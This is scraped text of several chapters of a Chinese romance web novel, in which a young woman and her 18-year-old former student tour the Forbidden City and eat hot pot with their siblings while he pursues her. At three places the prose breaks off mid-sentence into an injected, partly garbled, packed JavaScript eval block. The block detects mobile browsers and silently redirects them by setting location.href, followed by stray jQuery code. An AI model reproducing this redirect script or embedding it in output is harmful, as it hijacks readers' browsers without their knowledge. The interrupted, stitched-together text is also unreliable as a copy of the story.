蒋一茉托腮侧目,黑色鸭舌帽配银灰眼镜,使男生身上那股慵懒清冷气又更突出几分。 “送你了。”她说。 纪复白放松靠进椅子里,目光在她背影流连,又捻起一缕头发,在指尖绕着玩儿。 蒋一茉很少染烫,发质细腻顺滑,他看着发尾那大波浪卷儿从他食指上滑落,又勾起来再绕一遍。 一遍一遍,始终抓她不住,他眼底情绪翻涌。 “我现在,手上有你的帽子,你的玩偶,你的发夹……就算你真的不打算跟我在一起,跑去跟别人谈恋爱结婚,我也有东西可以想念,挺好。” 他说得潇洒,实际上每次想到她有可能跟别人在一起,都剜心的痛。 那一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399681|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,真真是钻心刻骨,以至于他不敢想象,如果真有这一天,自己什么样。 蒋一茉没说话,默默盯着桌子上的黑色醋壶。 “你呢,到那时,你会用什么来想念我?”他轻轻抓住了即将从指根滑落的那缕发尾,“我送你的冰箱贴吗?” 蒋一茉扯唇笑了下,“我都跟别人在一起了,为什么还要想念你?” “……” 过了好久,纪复白松开那缕头发,手垂下来,揣回裤兜里,轻声道:“也是。” 蒋一茉看向窗外—— 红墙黄瓦,庄严肃穆。 雕兰玉彻应犹在,只是朱颜改。 这本就是一座充满回忆与想念的城。 她又怎么不会想念,在这座城与自己重逢的他。 只是,她不能这么讲给他听。 蒋斯源和纪思梦回来后,换蒋一茉和纪复白去。 蒋一茉从卫生间出来时,纪复白已经先她完事,在不远处等她,旁边有个正与之交谈的女生,她认出是程茜。 见状,蒋一茉没过去,甚至先低头匆匆回了餐厅,然后在手机上告诉纪复白一声。 纪复白说得对,她总是做贼心虚,因为心里有鬼。 他们心里都有鬼,只不过她藏着,而纪复白光明正大晒在太阳下,这样一来,她便成了故事里阴暗的那一方,少年依旧坦坦荡荡。 纪复白回来时,四个人的餐都已经端上来。 蒋斯源笑他:“幸好你点的盖饭,要是跟我一样点了面条,这会儿早吸干汤成一坨面饼了。” “遇见一个同学,聊了两句。”纪复白说。 “男同学还是女同学?”蒋斯源问。 “女同学。” “哦~”蒋斯源坏笑着拉长尾音,“怪不得聊这么久才回来,别是某个你喜欢的女同学吧?” “不是。”纪复白说着,不动声色看一眼身旁吃饭的蒋一茉。 蒋一茉也是盖饭,这时放下勺子,拿过矿泉水准备拧开喝两口。 拧一下没拧动,她扯张纸擦手心的汗,纪复白把自己那瓶还没喝过的拧开,放她面前。 蒋斯源看了皱眉道:“我说小白,你这么殷勤干什么,回去我姐肯定又要骂我没你懂事,又要说,你看看人家小白——” 蒋一茉喝了一口水,鼓着脸颊瞪他。 “看看我什么?”纪复白问。 “看看人家小白,比你成熟,比你稳重,长得还比你帅~”蒋斯源学他姐的语气。 “我什么时候——” 蒋一茉话没说完,余光瞥见纪复白低头在笑,又赶紧踢他一脚,忙得不知道到底该骂谁。 “你昨晚不是刚说过?”蒋斯源道。 昨晚吃完饭回来,两姐弟因为谁先去洗澡斗起嘴,蒋一茉脑子一热说了这么一句,没想到亲弟今天当众给她抖落出来。 “是,我是说了,怎么,你不服气?”蒋一茉破罐破摔。 蒋斯源:“我当然服气,我哪里比得上人家京爷,何况这儿还坐着一位沪上小公主,我呢,也就区区一个——” “什么?”京爷纪复白笑问。 “区区天府之城唯一直男罢了!”蒋斯源骄傲道。 蒋一茉一下笑出来,纪思梦也捂着嘴乐不可支。 蒋一茉边笑又边警告他道:“你小点声儿,别给成都招黑,待会儿有老乡来揍你,我可不管。” “哎呀没得事,我们四川人都开得起玩笑。”蒋斯源换方言说道。 说完,见纪思梦睁着大眼好奇地望着自己。 “怎么了?”他又换回普通话,“我脸上有东西?” 纪思梦摇摇头,说:“不是,是我、我没听懂……” 蒋斯源愣了下,大笑着又用普通话给她讲一遍,讲完说:“我还以为这话很容易听懂,这下听懂了吗,小思梦?” 纪复白道:“小梦,你也来个他听不懂的。” 纪思梦抿了抿唇,跟蒋斯源讲道:“侬长得老登样了。” “……”蒋斯源一个字儿没听明白,摸摸鼻子,要笑不笑,“你没偷摸骂我吧?” 纪思梦:“……” 29. 吃醋 纪思梦笑得东倒西歪,差点撞上过道一个端着餐食的人,蒋斯源眼疾手快抓住她手臂,往回一拉,女孩儿倒在他肩上,停了一秒,眼睛弯起来,又继续笑。 蒋斯源看了看她,也笑起来,又问对面那俩人听懂没,都摇头。 他便喊着让纪思梦翻译一下,女孩儿这时候不笑了,脸上泛出淡淡红晕,打死不肯用普通话再说一遍。 于是此事作罢,只在蒋斯源心里留下个,不知何时能被解答的悬念。 酒足饭饱,几人研究一番地图后,从餐厅出来又继续往前探索。 下午阳光更加毒辣,蒋斯源把红色防晒衣脱下来,给纪思梦穿,说她要是晒黑,小白猫就成个小黑猫了,不好看,叫她套上。 等对方听话穿上,他又把衣服上连着的帽子也帮忙盖头上。 女孩儿这下被包裹得只剩一张脸,脸上又戴着蒋一茉的墨镜,蒋斯源上下一打量,笑道:“嚯,够酷的,像个rapper。” 纪思梦便学着喊了两声“yoyo”,把蒋斯源乐得前仰后合。 蒋斯源想起来,这会儿的行进路线是听从了他姐的意见,于是走了一会儿回过头问他姐:“你以前来逛过?” 蒋一茉点头,“来过。” “跟谁来的?是不是跟当时的男朋友一起来的?”蒋斯源倒退两步,拿肩膀撞她。 蒋一茉的小身板哪经得住他一米八几大个子撞自己,一个没站稳,扑在纪复白身上。 后者一手举着遮阳伞,一手捞起她腰,把人稳在怀里,清朗嗓音里含笑:“慢点儿。” 掌心贴住后腰的那一处温度直线上升,蒋一茉心里一惊,慌忙推开他往外退,又被讲解器的耳机线拉扯,手忙脚乱烦死了。 偏这会儿她那臭弟弟还在追问:“说呀,是不是?” “你烦不烦,我跟谁来的要你管?”她没好气道。 “嘿,肯定是,是不是后来分手了,现在睹景思人,心情不好,还冲我发火?”蒋斯源嘻嘻笑。 蒋一茉白他一眼,懒得搭理。 蒋斯源看问不出什么,不再自讨没趣,跟纪复白对个眼神,故意落后两步,在背后指指她姐脑袋,又两手做爪子样,无声吐槽他姐是只暴躁小老虎。 纪复白蹙眉,他可不认同,明明是可爱小河豚。 蒋斯源又带纪思梦往前走远了,见蒋一茉平静下来,纪复白这会儿才问道:“所以,是跟当时男朋友来的吗?” “是又怎么样,不是又怎么样?”蒋一茉依旧没好气。 “如果是,我希望这一次能覆盖那一次的回忆。”纪复白不紧不慢说道。 蒋一茉:“……” 纪复白:“我希望以后提到故宫,你想到的都是今天,想到我们一起听的讲解,我们一起撑过的太阳伞,我们一起吃过的瑞兽雪糕,我们的情侣防晒衣,我们的情侣鞋,我们并肩踩过的每一块砖。我希望你哪怕去到天涯海角,看到故宫两个字就立刻想起我,只想我。” 蒋一茉在他的话里垂下眼帘,视线落在两人脚上,款式一样的两双鬼冢虎,正踩着同一块砖前进。 因他为她放缓了步速,因她为他稍微把步子跨得更大,他们找到一个平衡点,使得每一步都同时迈出,频率出奇一致。 这气势,好像可以踏平所有不平一样。 蒋一茉在想,真的,如此吗? - 纪复白仰头观赏时,发现一个拍照的最佳角度,于是提议让他们三人站到台阶上面去,靠近汉白玉栏杆,凭栏眺望。 三人齐齐站好,等风来。 纪复白举起相机,将三张笑脸、蓝天白云、红墙金瓦、五脊六兽同时记录在镜头里。 纪思梦问蒋斯源:“你知道为什么都是黄色的瓦片吗?” 蒋斯源笑道:“你讲讲。” 纪思梦便慢悠悠地讲给他听:“我看到一个解释是,古人认为黄色代表土地,是正统,居于所有颜色之上……” 蒋一茉的目光从遥远的城外收回,轻轻落下,落向站在阶梯下方的纪复白身上。 纪复白这会儿没有戴帽子,帽子挂在他的相机包上。 架在高挺鼻梁之上的银灰色半框眼镜,使他的冷硬清冽气质里夹杂一抹柔软斯文,额前碎发偶尔被风吹起,露出一点额头,也使清隽矜冷的眉眼更为清晰。 不在她身边的纪复白,独自一人时散发着淡漠气场,给人很有距离感,疏远得像是天边一片云,甚至和周围的人不在一个图层里。 其实不知道他喜欢自己前,她一直这么感觉。 对她而言,这个人做事比其他学生沉稳些,态度比其他人成熟些,两三个字能回答的问题绝不超过5个字,目光和语气总是平静又淡定。 有时她在办公室跟他讲话,虽然自己坐着,他站着,但感觉自己的气势都被他盖过去。 那时她无论如何也想不到,这个少年如今会闯入自己的私人生活,还渴望占据。 明明一举一动强势又霸道,却总是无辜和受伤地望着她,仿佛在说:我干什么了? 可她想问他。 一切都是徒劳,也无所谓吗? 周围都是阻挠,悲剧结尾,也无所谓吗? 过程中变了心,想退缩又不能,想前进又实在无力,也无所谓吗? 那对你来说,有所谓的,是什么呢? 就这么一会儿的功夫,纪复白身边已经来过好几个女生,搭讪聊天的,拿着手机问微信的,羞涩表达好感的,想跟他一起拍张照片的…… 都很漂亮,都很年轻。 她想,他可以抵挡住一时的诱惑,可以抵挡一世吗? 她有时也在问自己是怎么了,如果一个普通男人,还会担心这么多吗? 为什么因为是纪复白,一切都变得不同。 蒋一茉觉得自己该补补口红了。 她走下去,到纪复白身边翻包。 看她找出口红和镜子补妆,纪复白笑道:“吃醋啦?下来宣誓主权?” 他俯下高大个子,弯腰撑膝,偏头看进她眼睛里:“来领小狗回家?” 蒋一茉上下一扫,笑说:“你好意思叫自己‘小’狗吗?有你这么大体型的小狗?” “那就大狗,无所谓,反正我要给你当狗。”纪复白直起身子 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虽然没亲到,纪复白依然感觉满足,笑了笑,大步跨上阶梯,三两步跟上。 他把口红和镜子放回她包里,无意间翻开内兜夹层,瞥见一张大头贴,拿出来看了眼。 这一看,他在原地顿住—— 照片里,蒋一茉在和前男友接吻。 这张照片出现的时机还真他妈好,纪复白看着照片冷笑,起码让他发现,他刚刚不能触碰的,不能光明正大做的事,那男的竟都轻易拥有过。 照片在掌心里扭曲,他几乎要把它揉碎。 他看见蒋一茉跑到蒋斯源和纪思梦身边,笑着在跟他们说什么,那笑容和大头贴里亲前男友时一样,发自真心。 他没有把照片放回去,撕碎后,扔进角落一个不起眼的垃圾桶。 之后,他走到蒋一茉身边,看起来无事发生,然而他们三人在讲什么,一句都听不进。 蒋一茉和蒋斯源轮流喊了好几声,才把纪复白的注意力唤回来。 蒋一茉把手伸到他额前碎发下面,贴上额头,问道:“是不是哪里不舒服?不会中暑了吧?” 纪复白看着面前女人的眼睛,想问她,你在担心什么,何必关心我有没有不舒服,不舒服又怎么样,你也不会在乎。 “没事。”他淡淡移开目光,“你们刚刚在说什么?” 蒋斯源道:“晚上去吃铜锅涮肉吧?我和小思梦都想尝尝老北京涮肉,姐也同意,你呢?” “她同意的事,我都没意见。” 纪复白的语气变得懒散,听起来有种,随便吧,毁灭吧,老子不想装了的意思。 “ok,那就这么定了!”蒋斯源定下,和纪思梦转头进钟表馆。 蒋一茉却是暗自松了口气,什么叫她同意的事他都没意见,这话心思也太明显,好在那两人都没往那方面想。 她轻声埋怨:“你以后不要这么说。” “怎么了,我就是喜欢你,有什么不能说的?” 纪复白甚至提高了音量,吼得周围纷纷侧目。 30. 称呼 “……” 蒋一茉唇张了又张,最终只丢下一句“随便你”,转身也检票进了钟表馆。 钟表馆里很是凉爽,甫一进去,她打了个冷颤。 纪复白见状,把手里一直帮她拿着的防晒衣给她披上,“穿上吧,这里面冷。” 蒋一茉套上。 “想不想听一下?”他又把讲解器的耳机递出一只。 蒋一茉戴上,两人又被耳机线束缚,不得不再次贴近彼此。 纪复白两手插兜,已经完全适应与蒋一茉并肩时的步长步速,游刃有余地慢悠悠跟随,不会再出现刚开始时,一人都已经走远,另一人直到耳朵被拉扯才发现没跟上的情况。 两人一路都没怎么讲话,只是静静欣赏,就连照片也没拍一张。 虽然都不说话,各自内心却有无限触动,情绪复杂。 纪复白看着近在咫尺的蒋一茉的侧脸,明明伸手就能触碰,可真的伸出手才发现,对方离他好远,他怎么拼命,也不可能追上那六年的时间差。 钟表的指针可以拨回,蒋一茉却不可能停下来等他,他也追赶不上。 这似乎,真是一个无解的命题。 可纪复白不是会被轻易劝退的性格,越是看起来无解,他越是想要解出来看看,哪怕花上一辈子的时间。 从钟表馆出来,几人又去逛了珍宝馆,之后蒋一茉提议直接出宫,早点找地方吃饭,不然到饭点又大排长队。 纪复白说不急,他已经订完位置,就在附近东单。 蒋斯源没想到他动作这么快,问他什么时候订的。 “进钟表馆之前。”他说。 “要不说是京爷呢,办事就是靠谱哈,那会儿刚说完转头就安排上了。”蒋斯源搭上他肩,笑道。 大家又再慢慢逛,一直逛到闭馆音乐响起,在傍晚夕阳下,跟着人群往外走。 纪复白又开始抓拍夕阳下的蒋一茉,拍她回头看自己的瞬间,抬头看天的瞬间,冲蒋斯源和纪思梦笑的瞬间,抬手撩头发的瞬间,拿出手机拍照的瞬间,张开手向自己跑来的瞬间…… 纪复白:? 纪复白放下相机,两步往前要去接住这个拥抱,手已经抬起三分之一,未曾想,竟和其他人一样被略过,怀里只扑来一阵风。 那风,像是扑面而来给了他一巴掌,打懵了他。 “……” 他收手,摸了摸鼻子,又放下,抄在裤兜里,若无其事转头,见蒋一茉在他身后不远处正抱着一个高挑的女人。 女人穿着打扮都比蒋一茉更为成熟,连衣短裙贴身包裹着热辣身材。 蒋一茉:“焦俏!” 焦俏:“一茉!好久不见!想死你啦!” 焦俏是蒋一茉大学同学,也是同宿舍室友,上大学时关系挺不错。 毕业后,焦俏回了家乡西澹市,两人很久没再见过,这回意外碰见自然惊喜。 聊了两句,蒋一茉见纪复白过来,跟焦俏介绍:“这是我……一个关系比较好的弟弟,纪复白。” 纪复白似笑非笑瞥她一眼,心说关系比较好是多好,“弟弟”前面用得着加这些耐人寻味的定语么,明显心里有鬼,还装。 又向对面打招呼:“你好。” “你好!”焦俏打完招呼,和蒋一茉耳语:“我说,你哪儿钓到的弟弟,帅得直叫人腿软,钓着呢还是已经成了?” 蒋一茉咬牙道:“你正经一点。” 焦俏捂嘴笑,又把身边的两个朋友也介绍给蒋一茉认识,说准备去吃饭唱歌,问她要不要一起。 蒋一茉知道焦俏的圈子,带着几个刚满18岁的小孩儿去,实在不太合适,便婉拒了。 焦俏:“真不去?今天是我们广播站的几个人聚餐,你前男友王衍之也过来。对了,他回国联系你了吗?” 蒋一茉:“联系了。” 焦俏:“你俩打算复合?” 蒋一茉:“……没有,只是吃了顿饭而已。” 蒋一茉不知道为什么自己说这话时要看纪复白,反正目光就是不受控制飘了过去。 “无缘无故找你吃饭不可能吧,王衍之肯定是想找你复合,我待会儿去问问他。”焦俏笑道。 “行了,你走吧,我们也走了,下次再聚。”蒋一茉推她走,旁边这么多人,聊私事怪怪的。 “其实,跟帅弟弟玩玩也不错,我就试过,身强体壮嘴也甜花样又多,别理王衍之那厮了,换换口味。” 焦俏在蒋一茉耳边笑道,说完揉揉她头发,和朋友先离开了。 蒋一茉摸了摸发烫的耳朵,余光瞥见纪复白在低头忍笑。 蒋一茉:“……” 蒋一茉:“你听见了?” 纪复白:“一字不差。” “……”她在心里拿充气锤把焦俏狠敲了一顿。 两人这才又继续往外走,纪复白一边浏览相机里的照片,欣赏各种角度的蒋一茉,漫不经心道:“想玩玩儿吗,帅弟弟愿意奉陪。” 蒋一茉感觉自己好像被调戏了,气不过,顺着话反问道:“哦?你想怎么玩儿?” 见蒋斯源他俩在前面远远地走着,纪复白一抬手,勾过蒋一茉脖子,把人搂过来贴耳道:“怎么玩儿都行,但最想跟你在床上玩儿,怎么样,姐姐?” 这声“姐姐”一点没有之前撒娇的感觉,而是极其霸道,气势强硬。 这才是他! 蒋一茉觉得自己一直被他演的那副无辜小狗样骗了,什么想当她的小狗,分明是想捕食她的恶狼。 她反手捏他脸,把人推开。 纪复白用舌尖顶了下被揪疼的左边脸颊,看蒋一茉又气得跟只河豚似的,笑了笑,继续贴过去跟着。 蒋一茉离他远两步,他就更贴近两步,蒋一茉还要再走远,他抓了手腕把人拉回来。 纪复白:“跑什么?” 蒋一茉:“你松开,万一被他俩看见——” “放心,我盯着呢,他们回头,我就松手。”纪复白说。 “我们又不是情侣,你这是干什么?”蒋一茉举起手,没好气道。 “我知道我们不是情侣,你还要说多少遍。我又没有牵你手,只是抓你手腕儿,有什么问题?”纪复白挑眉,理直气壮。 蒋一茉说不过他,力气更没他大,只好暂时随他去了。 纪复白:“你这小手腕儿真够细的,又细又软跟橡皮糖一样。” 下一秒,蒋一茉手腕就传来齿尖钉进皮肤的刺痛感,她竖起眼睛,拿另一只手打他。 谁知对方不躲不闪,手臂挨了几掌还在那儿痞痞地笑:“得亏我不是你学生了,不然就这几下也够你喝一壶的。” 她气得偏过头去,不理他。 “瞧你这小气劲儿,”纪复白惹完了,给她揉着手腕低头又哄,“我也给你咬一下,好不好,别生气,全身上下你想咬哪儿都可以。” 蒋一茉扫他一眼,忽的一笑,说:“我才不咬,咬一嘴狗毛,难受的还是我。” 纪复白听了这话也笑,拇指又摸了摸她手腕上自己的牙印,因她身上多了一处自己的痕迹而心满意足。 两人在夕阳余晖下的影子时不时叠在一起,从影子来看,并不能分辨牵的手腕还是手掌。 所以,在出午门前的最后一程路线里,地上一长一短两只影子就像两人牵着手,一起给今天的回忆画上了圆满句号。 彼此心知,谁也不许忘,谁也不会忘。 - 来到吃饭的地方,纪复白突然说有点事,让他们进包厢先点菜,自己转头出去。 找到附近一间打印店,他告诉店员,要打印一张照片。 这头包厢内服务员放上四个小铜锅,三人点完菜,蒋斯源和纪思梦凑在一起看今天买的一些纪念品,蒋一茉翻着纪思梦的本子。 不多时,纪复白回来,坐到座位上,没什么异常。 蒋一茉给他杯子里倒上一杯洛神花茶,随口问道:“干什么去了?” 纪复白很轻地哼了声,喝一口茶水,说:“我们又不是情侣,你又不是我女朋友,问这么细干什么?” 不知道他为什么突然又闹起别扭来,蒋一茉撑着脸笑:“我是怕京爷看我们仨饿得能把桌子都啃了,吓得跑路了,等我们三个吃完几十盘肉,最后发现没人结账怎么办?” 纪复白摇头笑了笑,“行,放开了吃,有本事把我吃穷。” 然而他不知道,蒋一茉已经结完账,她想如果后面再加菜的话,纪复白愿意结就结,反正大头她先出了,不然今晚回去真得做噩梦。 “你快把我包取下来吧,背一天不累吗?”蒋一茉走到他身边,想把自己的黄色波士顿包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15410255|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿回来。 纪复白卸下包,却不肯还她,“先放我这儿,等回家了再还你。” 见状,蒋一茉搭着他椅背玩笑道:“你要实在喜欢,我给你也买一个?” 纪复白:“有男款吗?” 没想到他还真考虑起来,蒋一茉笑着揪了下他耳朵,“哈,脸真大,又想要礼物?” “我自己买,就想跟你背一样的包。”纪复白道。 蒋一茉心说又来了,这家伙还真是执着于跟她拥有各种同款。 “仔细一想,你倒是省了很多功夫。”她揶揄道。 “确实,不用考虑买什么搭什么,跟着你学就行。”纪复白倒是大方承认。 蒋一茉抿着唇又揪了揪他耳朵,看他一脸舒适,好像还给他揪爽了,赶紧松开手回座位。 等菜上来,大家已经饿得前胸贴后背,都很默契地先埋头猛吃一阵,等半饱之后,才又你一句我一嘴的聊起来。 纪复白一边给蒋一茉盘子里夹涮好的肉,一边问:“味道怎么样,天府直男,沪上小公主?” 蒋斯源:“好吃!” 纪思梦:“好吃!” 蒋斯源:“原来麻酱是这种味道。” 纪思梦:“对呀!” 蒋斯源:“之前在网上看到这黏黏糊糊的样子我还心想这什么玩意儿,帝都人民就吃这?” 纪思梦:“我也是。” 蒋斯源笑着看纪思梦一眼,说:“不过裹满了肉一起吃,味道还真不错。” 纪思梦:“是的!” 蒋一茉来回看看他俩,笑起来:“你俩说相声呢?” 纪思梦抿了抿唇,低头笑。 纪复白又问:“跟成都火锅比怎么样?” “那当然是——”蒋斯源故意顿了下,“各有千秋了!” 纪复白说:“我还以为你会选火锅。” “你哥坏吧,在自己地盘上给我一个四川人挖坑。”蒋斯源对纪思梦笑说。 说完,又对纪复白道:“管它哪里的,只要好吃我都爱吃,有什么可比的,反正都是我大中国的!” 纪思梦附和:“对!” 这一次声音比她平时异常的大。 纪复白看一眼桌上的菜和肉,问:“够吃吗,要不要再加一些?” 蒋斯源说:“够了够了,把这些吃完再说,不要浪费。” 纪思梦也点点头:“同意。” “你呢?”纪复白又看向蒋一茉,手上依旧不停给她夹肉。 蒋一茉用眼睛警示他别做太过,见他不理,暗示道:“你别吃不完都夹给我,我自己锅里还有挺多没吃呢!” 纪复白心说哪是他吃不完,就是故意给她涮的。 嘴上不好回应什么,只能在微信上给她发消息。 纪复白:【你太瘦了宝贝,把你养胖点抱起来手感好。】 蒋一茉怕胖的习惯是跟王衍之在一起的时候养成的,王衍之时不时就笑话她又吃胖了。 毕竟跟王衍之玩的好的他那几个女生朋友都很苗条,一对比,她就显得肉肉的。 蒋一茉回他:【别叫宝贝。】 纪复白看到这条回复,蹙了蹙眉,以为勾起什么回忆了。 打字问她:【怎么,是不是你前男友也这么叫你?】 蒋一茉:【那到没有,只是单纯觉得这称呼油腻。】 其实词儿本来没什么错,只是有些相亲男见过一面就在微信上这么叫她,宝贝来宝贝去,现在一看到就有点不适。 纪复白知道这词儿跟前男友无关,又恢复一些好心情,回道:【那,心肝儿?】 他注意到蒋一茉瞬间嫌弃得五官都皱在一起,低了头忍笑。 蒋一茉:【还脾胃呢】 纪复白:【那你想让我怎么叫你?】 蒋一茉望天认真思考了几秒,突然间反应过来,差点被对方带沟里! 她狠狠按着屏幕键盘回复道:【什么怎么叫,你如果没礼貌,就像你平常那样继续叫蒋一茉,有点礼貌,就喊一茉姐,刚刚那些宝啊贝啊的称呼都不是你该叫的,明白吗,莫名其妙!】 虽然是文字,耳边却有声音。 既然已经怒了,不如彻底惹她一把。 纪复白嘴角微噙一点坏笑,回道:【好的,老婆。】 蒋一茉:…… 31. 嘴硬 手机丢一边,纪复白低头吃饭,眼里满是蔫儿坏笑意。 只不过心里爽了的后果是,脚在桌子底下被蒋一茉踢了好几下。 吃到快结束,只有纪思梦还在吃,她是慢性子,吃饭也比别人慢几拍。 纪复白和蒋一茉都喊她慢慢来,不着急。 蒋斯源看她为了跟上大家的进度,恨不得嚼都不嚼了直接吞,又拿起筷子也陪她吃。 “没事儿,不用管他们两个,我们慢慢吃。”他笑。 纪思梦这才放心地慢下来。 纪复白靠在椅子里玩手机,一边抬手无聊地抓了抓头发,额前蓬松碎发被他抓得有几分乱,无意中露出一点清爽额头。 蒋一茉心道,果然人长得帅就可以为所欲为,随便乱抓几下都是造型。 纪复白发现蒋一茉在盯着自己看,忙把抓乱的头发又整理两下,怕刚刚那会儿形象不好。 蒋一茉收回视线,低眸抿唇笑。 过了会儿,纪复白拿着手机凑过来问她:“这个怎么样?” 他竟然真的在认真挑男式波士顿包。 蒋一茉侧眸看一眼,LVKeepall25纯黑压纹款。 嗯……她咬咬牙倒是也可以买来送他,但是,她为什么要咬牙送这个小混蛋? 京爷有钱,自己乐意买就买吧。 “还不错,你背应该好看。”他就算背个破编织袋也好看。 “那就这个。”纪复白道。 两万块的包,看着这个18岁的少年眼都不带眨一下就决定要买,蒋一茉突然有种这辈子白活了的感觉。 “我想给你也买一个,但你得答应我别不收,我自己多一个留着也没用,你爱背就背,不想背就扔衣柜里,好不好?”纪复白凑近她,小声哄着问。 蒋一茉看了看他,想一想,低头在微信上打字:【你才18岁,不要这种做派。首先,我不是你女朋友。其次,就算是,我不爱收这些东西。再次,我如果真的收了,回家就不只是做噩梦了,一根白绫了结此生得了。】 “至于吗?” 纪复白蹙眉嘀咕一句,回复她道:【等我自己挣钱的时候再买给你,行了么?】 蒋一茉看了,只是不加掩饰地叹气。 纪复白继续打字:【你先答应我,我自己挣钱买的你就收下。】 【如果你挣钱就为了给女人买包,那就别挣了,你反正也有钱,何必还下凡体验人间疾苦呢,京爷?】蒋一茉微信上调侃他道。 纪复白:“……” 【那要不换你送我?】纪复白转念一想,试探着问。 果然,他看见蒋一茉瞬间轻松不少,脸上带笑,回他:【这么贵的包,你是想让我两三个月都喝西北风?送你一个便宜点的行吗,千来块的包,京爷愿意背吗?】 纪复白靠在椅子里皱眉打字:【你看,我让你送我东西你很高兴就答应,你又是什么做派?我也不是你男朋友,所以你这是姐姐做派?还是长辈关爱晚辈的做派?说到底,你心里还是没把我和你平等地放在一起,我是小你六岁,但也别把我当小孩儿看。】 “……” 蒋一茉一时间没回复,也不知道怎么回。 感觉自己被他误解了,却又觉得,不如就这样被误解。 纪复白又继续发去一段:【我喊你几声姐姐,就真把自己当我姐姐了?可我不想当弟弟,我想当你男人,当你老公,当你另一半,我不想当被你照顾的弟弟,我想做照顾你一辈子的人,我想做你丈夫,蒋一茉。】 蒋一茉半天没回复,也没说什么,只是垂眸静静盯着这两条微信。 纪复白把手机揣起来,也不再发什么,只是默默地,静静地,看着那个对他无情又残忍的女人。 他甚至已经不苛求她回应自己的爱,只求她接受。 蒋斯源和纪思梦这会儿也吃完,纪复白要去结账,服务员告知他结过了。 他看眼蒋一茉,脸色微沉,没说什么,跟大家一起走出店外。 “咱们去夜骑消消食吧?” 蒋斯源提议夜骑,说在网上看别人来北京都会去天安门夜骑,正好他们四个都会骑车。 大家都没意见,于是在街边扫了四辆共享单车。 纪复白对路线比较熟,由他带队,后面跟着蒋一茉,然后是纪思梦,蒋斯源殿后。 顶着盛夏晚风,几人一路慢骑。 纪复白时不时回头看一眼他们跟上没有,每次都会故意和蒋一茉对视上,又总是率先移开视线,生怕她看不出来他在闹别扭。 蒋一茉心下失笑,真幼稚,这家伙。 夜色下,少年骑车姿态松弛,背影清爽,风吹起防晒衣外套的衣角,在骑行的人群里穿梭,像一道冲破黑暗的干净的白光。 许是因为心里不快,他不知不觉便骑出去很远。 又好像突然反应过来速度过快,在前方空旷处,他调头停下,一脚撑地等他们赶上。 少年额前的碎发全被吹起,随风轻扬,夏风吻过他整张无遮挡的白皙帅气的脸庞,而他随性又轻挑地享受着,镜片后一双多情桃花眼懒洋洋地微微狭着。 许是被这黏腻的6月晚风给吹的,蒋一茉的心在此刻竟有些摇晃动荡。 她明白自己在嫉妒,嫉妒一阵风。 因那阵风可以毫无顾忌地扑向他,拥抱他,亲吻他。 车子刹停在对方面前,她迟迟没回过神,直到少年叠臂撑在车头,一张帅气脸庞压低后凑到她眼前,痞坏笑道:“姐姐,看够了吗?” 她那不知飘到哪里去的思绪,这才被震回来。 面上依旧维持风平浪静,她默不作声收回视线,正要蹬走,手臂处一紧,被人拦下。 清逸微沉的少年音由晚风送至她耳边,笃信张扬:“你已经开始喜欢我了,是不是,蒋一茉?” 这一刻,蒋一茉才开始真的感到慌乱。 她让自己镇定,稳了稳情绪,抬眸道:“没有人不欣赏你这张脸,我也不例外,可那又怎样,皮囊而已,只能说明我是个审美正常的人,并不代表其他。” 纪复白暂时无话,静静盯着她的眼睛,目不转睛一个劲儿地看。 少年这双眼,此刻微微眯起来,眼尾拉长,带点探究意味。 这使他那双眼更具有一种勾魂摄魄的吸力,蒋一茉一时间竟忘了挪开目光。 蓦地,他扬唇笑了,带有几分释怀和对蒋一茉刚那话的不以为然。 “你,你笑什么?”蒋一茉这时才想起来躲开,偏过头去看别处。 纪复白捏起她下巴,偏不让躲,视线又一次侵入她眼里:“我笑,你虽然嘴硬,但眼睛不会撒谎。” 蒋一茉下意识回头,又被捏着下巴转回来。 “放心,他们上厕所去了。” 刚刚离得不远,蒋斯源和纪思梦停下,对着纪复白指了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15416233|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指附近的公共厕所,然后两人一起去了。 纪复白不满女人眼睛和嘴传递的信息不一致,改用拇指和食指掐住脸颊,虎口对准女人下巴尖,强迫她仰起脸看自己,此刻只允许看着自己。 “你跟我说,顺心而为,为什么自己做不到?”他道。 蒋一茉咽了咽喉咙,望着夜色下依然闪亮耀眼的少年,轻声道:“因为我24岁,不是18岁。” 纪复白拢眉,“24岁又怎么,你到底在怕什么,蒋一茉?” 蒋一茉反问:“你呢,为什么什么都不怕?” 纪复白:“因为我喜欢你,我想和你在一起,去他妈的年龄差,去他妈的世俗眼光,去他妈的一切,老子什么都不怕,我还要娶你回家。” 蒋一茉:“……” 蒋一茉顿住,好几秒之后才浅浅笑了下,眼底有几分释然和苦涩。 